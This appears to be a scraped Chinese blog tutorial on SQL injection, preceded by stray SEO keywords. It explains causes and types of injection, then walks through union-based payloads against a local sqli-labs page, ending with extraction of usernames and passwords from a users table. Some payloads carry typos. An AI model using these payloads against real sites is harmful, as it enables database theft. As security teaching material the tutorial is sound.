百度免费网站制作,基本型企业网站论文,利用手机搭建网站,代理公司注册手续文章目录 1、SQL注入原理2、SQL注入的原因3、SQL注入的危害4、SQL注入基础4.1 MySQL相关4.2 SQL注入流程#xff1a; 5、联合注入实例基本步骤6、总结 1、SQL注入原理 SQL注入(Sql Injection#xff09;就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串 5、联合注入实例基本步骤6、总结 1、SQL注入原理 SQL注入(Sql Injection就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串最终达到欺骗服务器执行恶意的SQL命令。具体来说它是利用现有应用程序将恶意的SQL命令注入到后台数据库引擎执行的能力它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库而不是按照设计者意图去执行SQL语句。
2、SQL注入的原因
程序编写者在处理程序和数据库交互时使用字符串拼接的方式构造SQL语句未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
3、SQL注入的危害
攻击者利用SQL注入漏洞可以获取数据库中的多种信息例如管理员后台密码)从而脱取数据库中内容脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库如果数据库权限分配存在问题或者数据库本身存在缺陷那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
4、SQL注入基础
4.1 MySQL相关 在mysql数据库中存在一个Information_schema数据库这个数据库里面存在两张表。一个是tables表里面存有所有的表名和数据库名另一个是columns表里面存有所有的字段名字段所属的表名字段所属的库名。以下是关于Information_schema数据库的拓扑图 4.2 SQL注入流程 由于关系型数据库具有明显的库/表/字段/字段内容结构层次在对SQL注入漏洞的注入过程中获取数据库信息的时候也可以按照这种顺序: 数据库名 ⟶ \longrightarrow ⟶表名 ⟶ \longrightarrow ⟶字段名 ⟶ \longrightarrow ⟶字段内容 手工注入流程
寻找传参页面判断是否存在注入点 字符型注入数字型注入 判断字段的数量判断字段回显的位置查找数据库名、表名、字段名、字段内容登录后台。
1判断注入点
and 11 / and 12 回显页面不同整形判断单引号判断 ‘ 显示数据库错误信息或者页面回显不同整形、字符串类型判断’ and ‘1’ 1 / ’ and ‘1’ 2 回显页面不同字符型判断and sleep(5)判断页面返回时间万能 在SQL语句中and的优先级比or高。SQL语句注释# 或者 --[space] 或者 -- 2 SQL注入分类
根据注入点的数据类型可分为 数字型注入字符型注入 ❗️❗️❗️二者最大的区别在于字符型需要闭合整型不需要闭合。 根据数据库执行的结果可分为四大基本手法 联合查询报错注入布尔盲注延时注入 根据数据提交的方式可分为 Get注入Post注入Cookie注入HTTP头部注入… 其他注入类型 base64注入宽字节注入搜索型注入读写文件…
5、联合注入实例基本步骤 联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表从而实现将两个表的查询组合到一起使用谓词为UNION或UNION ALL。
1寻找传参页面http://xxx.com/index.php?id1 2判断注入点127.0.0.1/sqli/less-1/index.php?id1 可以根据报错信息判断如果是字符型注入应该闭合什么符号此处是闭合单引号。 3判断字段数量order by命令127.0.0.1/sqli/less-1/index.php?id1’ order by 3 -- 1后面的‘是为了闭合SQL语句中的引号 4判断回显位置127.0.0.1/sqli/less-1/index.php?id1’ union selcet 1,2,3 -- 5查数据库名127.0.0.1/sqli/less-1/index.php?id1’ union selcet 1,2,database() -- database()查看当前数据库名 5表名
查表名select group_concat(table_name) from information_schema.tables where table_schemasecurity information_schema.tables指定information_schema数据库中的tables表table_schema字段保存所有的数据库名table_name字段保存所有的表名group_concat()函数输出所有属于‘security’数据库的所有表 6字段名
查询字段名select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers 7字段内容
查询字段内容select group_concat(concat(username,%23,password)) from security.users concat()函数拼接。例如 concat(‘hello’,‘’,‘world’) ⟶ \longrightarrow ⟶ 输出helloworld 6、总结 sql注入的基本流程
寻找传参页面判断是否存在注入点 字符型注入数字型注入 判断字段的数量判断字段回显的位置查找数据库名、表名、字段名、字段内容登录后台。